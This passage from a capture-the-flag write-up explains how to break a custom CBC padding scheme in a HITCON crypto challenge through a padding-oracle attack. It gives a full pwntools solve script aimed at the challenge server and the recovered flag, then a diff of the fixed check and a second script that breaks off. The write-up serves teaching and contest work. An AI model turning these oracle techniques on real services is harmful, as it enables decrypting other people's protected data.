<h2 id="the-solve">The solve</h2>
<h3 id="forge-same-plaintext-block">Forge Same Plaintext Block</h3>
<p>Now let’s look at other part of the challenge. You might notice that before the flag is encrypted, it is wrapped in the json format. Now this is interesting. Combined with the flag format, if we count the bytes that we know, namely <code class="language-plaintext highlighter-rouge">{'win': 'hitcon{</code>,  that’s 16 bytes, which is a full block! Is this a hint to somthing?</p>

<p>As we mentioned in the previous section, the repeating tail are remove in the first step. There are NO verification as to whether the tail is longer than a full block. If we forge a block such that all the characters are the same, the unpad method will remove the whole block, making the last plaintext byte in the second to last block, and the indexed byte in the even previous block!</p>

<p>So lets first forge this last block. Since we have a know plaintext block, we can xor the plaintext with the iv, and that will give us a all zero block when decrypted. That’s easy, what then?</p>

<h3 id="leaking-top-7-bits">Leaking Top 7 Bits</h3>
<p>Think about the implication of having the last plantext byte in a different block. For now we don’t know what the last byte of the randomly decrypted second to last block is, but lets assume we know X. Then by control the IV of the thrid to last block, we can enumerate the indexed byte, and see when we have a match. This sounds similar to the standard CBC oracle right? We’re just manipulating a byte in the middle block and not the padding bytes themselves. Of course due to the nature of the padding, we can only leak the top 7 bits, since the last bit will be ignored when verifying.</p>

<p>Back to the problem of not knowing X, we might notice that X itself is not that important. We just need the lower half of it, as that will give us the indexed byte. Since we know one full plaintext block, we can construct a cipher text that looks like IV’|CT|IV’|CT, so that it decrypts to Y*16|random|Y*16. Now no matter what the X is, this should always validate. You can then go through each byte in the first block and change it to something different (like ^0xff) and see if it invalidate it this time. If there is any, we found the lower half of X!</p>

<p>Of course to leak each position, we need to find 16 different Xs such that every byte in the block is indexed. We can construct in total 256 different versions of the same plaintext block, and each of them will randomly hit one of the Xs. So the probably to not have every single X is a mere $(15/16)^{256} \approx 6.67\times 10^{-8}$. With the Xs known, we can execute the plan above and leak the lower 7 bits of the message.</p>

<h3 id="leaking-low-bit">Leaking Low Bit</h3>
<p>How about the last bit? Here we’ll use a different strategy. Even though we never know the padding byte, if we brute force all 256 possible values, there must be one hit, as long as we’re actually permuting the indexed byte. So we can manipulate the plaintext and guess if the currect byte is used as the index or not. If after the bruteforce none of the bytes gives a valid padding, then our assumptions of the indexing byte must be incorrect. I’d call this a behavioral oracle, we’re observing based on if there is 1 successful padding or not within 256 oracles, and not a specific one.</p>

<p>In technically, this will only give us if the byte are the same as the previous byte, so we will still need one pivot point. From the previous step we know a method to extract the lower 4 bit of a X, so we can use a similar technique here. We just need to construct this once and we’ll get one lower bit.</p>

<blockquote>
  <p>Note that I believe that there ways to using a similar construction as the previous step 
(CT|IV|CT) to finish the whole step, but I’m too lazy and this is already efficient enough.</p>
</blockquote>

<h3 id="io-optimization">IO Optimization</h3>
<p>After you implement everything, you’ll notice the oracle complexity is O(256b + k) where b is the messag length in bytes and k is a startup overhead. If you do one query at a time this will be painfully slow. The good thing is that for a lot of these nc connected challenges, you can abuse the buffering and send out a lot of querys at once before recieveing to reduce the networking overhead. Notice that in both of the bruteforcing step, we pretty much need to send out all the payload to get back a result anyway. So if we batch the input and output, we can get a much faster query time. When testing, my script can complete each oracle block in around 40 second with a server over sea.</p>

<h3 id="flag">Flag!</h3>
<p>And with everything implemented, we now fire the exploit against the server and get out sweet prize!
<code class="language-plaintext highlighter-rouge">hitcon{p4dd1ng_w0n7_s4v3_y0u_Fr0m_4_0rac13_617aa68c06d7ab91f57d1969e8e8532}</code></p>

<h3 id="reference-solve-script">Reference solve script</h3>

<div class="accordion mb-2" id="solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#solve_py-content" aria-expanded="true" aria-controls="solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-solve_py" data-bs-parent="#solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="n">N</span> <span class="o">=</span> <span class="mi">16</span>

<span class="c1">#p = process("./chal.py")
#p = remote("127.0.0.1", 11111)
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"107.167.176.135"</span><span class="p">,</span> <span class="mi">11111</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"key: "</span><span class="p">)</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">cipher</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="n">IV</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
<span class="n">FB</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[</span><span class="mi">16</span><span class="p">:</span><span class="mi">32</span><span class="p">]</span>
<span class="n">Z</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">16</span>
<span class="n">I</span> <span class="o">=</span> <span class="p">[</span><span class="mi">255</span><span class="p">]</span><span class="o">*</span><span class="mi">16</span>
<span class="n">known</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'{"key": "hitcon{'</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
<span class="n">IV0</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV</span><span class="p">,</span> <span class="n">known</span><span class="p">)</span>

<span class="n">oracle_count</span> <span class="o">=</span> <span class="mi">0</span>

<span class="k">def</span> <span class="nf">oracle</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">oracle_count</span>
    <span class="n">oracle_count</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">())</span>
    <span class="k">return</span> <span class="ow">not</span> <span class="sa">b</span><span class="s">"weirdo"</span> <span class="ow">in</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="c1"># async send to reduce network lag
</span><span class="k">def</span> <span class="nf">oracle_multi</span><span class="p">(</span><span class="n">ms</span><span class="p">):</span>

    <span class="c1"># res = [oracle(m) for m in ms]
</span>    <span class="c1"># return res
</span>
    <span class="k">global</span> <span class="n">oracle_count</span>
    <span class="n">l</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">ms</span><span class="p">)</span>
    <span class="n">oracle_count</span> <span class="o">+=</span> <span class="n">l</span>
    <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">ms</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">res</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">l</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
        <span class="n">res</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="ow">not</span> <span class="sa">b</span><span class="s">"weirdo"</span> <span class="ow">in</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">res</span>

<span class="n">offset_db</span> <span class="o">=</span> <span class="p">[</span><span class="o">-</span><span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">get_offset_db</span><span class="p">():</span>
    <span class="n">cur</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="o">-</span><span class="mi">1</span> <span class="ow">in</span> <span class="n">offset_db</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
            <span class="n">OFF</span> <span class="o">=</span> <span class="p">(</span><span class="n">offset</span> <span class="o">^</span> <span class="n">FB</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="mi">16</span>
            <span class="n">check</span> <span class="o">=</span> <span class="n">I</span><span class="p">[:]</span>
            <span class="n">check</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
            <span class="n">cipher</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV0</span><span class="p">,</span> <span class="n">check</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">FB</span> <span class="o">+</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV0</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">FB</span>
            <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
        <span class="n">res</span> <span class="o">=</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">res</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
            <span class="n">offset</span> <span class="o">=</span> <span class="n">res</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span>
            <span class="n">OFF</span> <span class="o">=</span> <span class="p">(</span><span class="n">offset</span> <span class="o">^</span> <span class="n">FB</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="mi">16</span>
            <span class="n">offset_db</span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span>
    <span class="k">return</span> <span class="n">offset_db</span>


<span class="k">def</span> <span class="nf">oracle_block_top</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">BC</span><span class="p">):</span>
    <span class="n">res</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">16</span>

    <span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
        <span class="c1"># get top 7 bit
</span>        <span class="n">real_offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">offset</span> <span class="o">^</span> <span class="n">BC</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="mi">16</span>
        <span class="n">IVL</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV0</span><span class="p">,</span> <span class="n">offset_db</span><span class="p">[</span><span class="n">offset</span><span class="p">])</span>
        <span class="n">top_7</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
        <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">diff</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="mi">2</span><span class="p">):</span>
            <span class="n">check</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">BIV</span><span class="p">[:])</span>
            <span class="n">check</span><span class="p">[</span><span class="n">real_offset</span><span class="p">]</span> <span class="o">^=</span> <span class="n">diff</span>
            <span class="n">cipher</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">check</span><span class="p">)</span> <span class="o">+</span> <span class="n">BC</span> <span class="o">+</span> <span class="n">IVL</span> <span class="o">+</span> <span class="n">FB</span>
            <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>

        <span class="n">res2</span> <span class="o">=</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">res2</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="mi">2</span><span class="p">)))</span>
        <span class="k">for</span> <span class="n">ora</span><span class="p">,</span> <span class="n">diff</span> <span class="ow">in</span> <span class="n">result</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">ora</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">diff</span><span class="p">)</span>
                <span class="n">top_7</span> <span class="o">=</span> <span class="p">(</span><span class="n">diff</span> <span class="o">^</span> <span class="n">BIV</span><span class="p">[</span><span class="n">real_offset</span><span class="p">]</span> <span class="o">^</span> <span class="n">offset_db</span><span class="p">[</span><span class="n">offset</span><span class="p">])</span> <span class="o">&amp;</span> <span class="mh">0xfe</span>
                <span class="n">res</span><span class="p">[</span><span class="n">real_offset</span><span class="p">]</span> <span class="o">=</span> <span class="n">top_7</span>
                <span class="k">break</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="c1"># honestly I don't know what happned here
</span>            <span class="c1"># Sometime things just fall through for some reason...
</span>            <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"Padding not found"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">res</span>

<span class="k">def</span> <span class="nf">oracle_block_lower</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">BC</span><span class="p">,</span> <span class="n">Mtop</span><span class="p">):</span>
    <span class="c1"># 14th byte first, use as anchor
</span>    <span class="c1"># make sure Mtop[-1] != Mtop[-2]
</span>    <span class="c1"># cipher: control IV1 | control IV2 | BC
</span>    <span class="c1"># IV2 -&gt; BIV + offset to control Mtop decrypt result -&gt; partial known X, Y
</span>    <span class="c1"># IV1 -&gt; use to bruteforce all permutation
</span>    <span class="n">lowers</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">16</span>

    <span class="n">baseIV</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">Mtop</span><span class="p">)</span> <span class="c1"># so decrypt(BC, iv = baseIV) will only contain 0 or 1
</span>    <span class="n">diff</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">16</span>
    <span class="n">diff</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xf0</span> <span class="c1"># make sure it don't propagate
</span>    <span class="n">IV2</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">baseIV</span><span class="p">,</span> <span class="n">diff</span><span class="p">)</span>

    <span class="c1"># we check if some value in the first location match
</span>    <span class="c1"># yes -&gt; last bit of Mtop[-2] is 0
</span>    <span class="c1"># no  -&gt; last bit of Mtop[-2] is 1
</span>    <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">brute</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="mi">2</span><span class="p">):</span>
        <span class="n">IV1</span> <span class="o">=</span> <span class="p">[</span><span class="n">brute</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">15</span>
        <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">IV1</span><span class="p">)</span> <span class="o">+</span> <span class="n">IV2</span> <span class="o">+</span> <span class="n">BC</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">).</span><span class="n">count</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">lowers</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">lowers</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>

    <span class="c1"># now we check if the last bit is the same as Mtop[-2]
</span>    <span class="n">diff</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">16</span>
    <span class="n">diff</span><span class="p">[</span><span class="o">-</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xf8</span> <span class="c1"># make sure it don't propagate
</span>    <span class="n">IV2</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">baseIV</span><span class="p">,</span> <span class="n">diff</span><span class="p">,</span> <span class="n">lowers</span><span class="p">)</span>
    <span class="c1"># we check if some value in the first location match
</span>    <span class="c1"># yes -&gt; Mtop[-2] is X -&gt; last bit of Mtop[-1] is 1
</span>    <span class="c1"># no  -&gt; Mtop[-2] is not X -&gt; last bit of Mtop[-1] is 0
</span>    <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">brute</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="mi">2</span><span class="p">):</span>
        <span class="n">IV1</span> <span class="o">=</span> <span class="p">[</span><span class="n">brute</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">15</span>
        <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">IV1</span><span class="p">)</span> <span class="o">+</span> <span class="n">IV2</span> <span class="o">+</span> <span class="n">BC</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">).</span><span class="n">count</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">lowers</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">lowers</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>

    <span class="c1"># now we can consistantly form repeating tail
</span>    <span class="c1"># fill the rest of the lower bits
</span>    <span class="k">for</span> <span class="n">loc</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">13</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
        <span class="n">diff</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">16</span>
        <span class="n">diff</span><span class="p">[</span><span class="n">loc</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xf0</span> <span class="c1"># make sure it don't propagate
</span>        <span class="n">IV2</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">baseIV</span><span class="p">,</span> <span class="n">diff</span><span class="p">,</span> <span class="n">lowers</span><span class="p">)</span>
        <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">brute</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="mi">2</span><span class="p">):</span>
            <span class="n">IV1</span> <span class="o">=</span> <span class="p">[</span><span class="n">brute</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">15</span>
            <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">IV1</span><span class="p">)</span> <span class="o">+</span> <span class="n">IV2</span> <span class="o">+</span> <span class="n">BC</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">).</span><span class="n">count</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
            <span class="n">lowers</span><span class="p">[</span><span class="n">loc</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">lowers</span><span class="p">[</span><span class="n">loc</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>

    <span class="k">return</span> <span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="n">j</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">Mtop</span><span class="p">,</span> <span class="n">lowers</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">oracle_block</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">BC</span><span class="p">):</span>
    <span class="n">tops</span> <span class="o">=</span> <span class="n">oracle_block_top</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">BC</span><span class="p">)</span>
    <span class="n">full</span> <span class="o">=</span> <span class="n">oracle_block_lower</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">BC</span><span class="p">,</span> <span class="n">tops</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">full</span>


<span class="k">def</span> <span class="nf">attack</span><span class="p">():</span>
    <span class="n">offset_db</span> <span class="o">=</span> <span class="n">get_offset_db</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="n">offset_db</span><span class="p">,</span> <span class="n">oracle_count</span><span class="p">)</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">known</span>
    <span class="k">for</span> <span class="n">loc</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipher</span><span class="p">),</span> <span class="mi">16</span><span class="p">):</span>
        <span class="n">m</span><span class="o">+=</span><span class="nb">bytes</span><span class="p">(</span><span class="n">oracle_block</span><span class="p">(</span><span class="n">cipher</span><span class="p">[</span><span class="n">loc</span><span class="o">-</span><span class="mi">16</span><span class="p">:</span><span class="n">loc</span><span class="p">],</span> <span class="n">cipher</span><span class="p">[</span><span class="n">loc</span><span class="p">:</span><span class="n">loc</span><span class="o">+</span><span class="mi">16</span><span class="p">]))</span>
        <span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">oracle_count</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">attack</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<h2 id="misc-stuff">Misc stuff</h2>
<h3 id="theme">Theme</h3>
<p>In the blog post I mentioned that we need a know plaintext block. To create a not-so-obvious one I thought about various ideas like zipping or drawing the flag in a small png. But all the ideas end up with one problem: The final file is too large. Testing with a oversea connection with optimized IO, I can only reasonably get ~200 bytes over 10 minutes, and we wish to make sure the challenge can be solved below that timeframe from everywhere. @maple3142 give me the idea of using json, and along with the flag format, that would make up a full block. Initially it’s something like <code class="language-plaintext highlighter-rouge">{'flag':...</code> but I then realize that the python json module adds a space after the colon, so I choosed key instead, and the theme just grow from there =D Hopefully it’s not too weird and enjoyable.</p>

<h3 id="server-misconfigure">Server misconfigure</h3>
<p>It is actually not intended for the server to have such a short timeout. As mentioned in the main article, it took 40 second even for an optimized solver to solve 1 block, so a 30 second timer is pretty unreasonable. I didn’t notice that the server have an timeout initially, but soon someone solved it, so it’s too late at this point to change that. My justification though is that you can leak different part of the flag across multiple connections, so technically this shouldn’t add too much complexity to the solve. But I do still appoligies for the inconvinent that this brings.</p>
<h3 id="unintended-solution">Unintended Solution</h3>
<p>After the competition ended, @mouthon and @4yn mentioned that there is an unintended solution to this challenge. If we look at the line <code class="language-plaintext highlighter-rouge">_Y = message[(block_count-2)*N+(X%N)]</code>, notice that if block_count is less then 2, the index would be negative. Thanks to the wonderful property of python negative indexing, this would actually still run, but get the bytes in the same block as X. This provides a lot of information about the single block. Again, this proves how careless I am… The detail of this attack is left as an exercise to the reader.</p>

<h2 id="appendix-a---the-proper-padding-and-attack">Appendix A - the proper padding and attack</h2>
<p>In the main article, I mentioned that the challenge is easier if implemented correctly. Diffing the two files (this challenge and the correct implementation) shows the following:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="err">$</span> diff chal.py chal2.py
<span class="p">43,44c43,47
</span><span class="gd">&lt;     if (Y != _Y and Y != _Y^1):
&lt;         raise ValueError("Incorrect Padding")
</span><span class="p">---
</span><span class="gi">&gt;     if (Y != _Y and (Y != _Y^1 or _Y != X) ):
&gt;             raise ValueError("Incorrect Padding")
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>It merely adds a check to verify that the xor with 1 case only happens when the indexed byte and the last byte collides. This eliminates the confusion on the last bit, so the full flag can be leaked using the first method. The corresponding solve script is as follows (just executing the first part of the exploit and leak the whole flag).</p>

<div class="accordion mb-2" id="solve2_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-solve2_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#solve2_py-content" aria-expanded="true" aria-controls="solve2_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="solve2_py-content" class="accordion-collapse collapse" aria-labelledby="hd-solve2_py" data-bs-parent="#solve2_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="n">N</span> <span class="o">=</span> <span class="mi">16</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./chal2.py"</span><span class="p">)</span>
<span class="c1">#p = remote("s.maple3142.net", 1337)
</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"key: "</span><span class="p">)</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
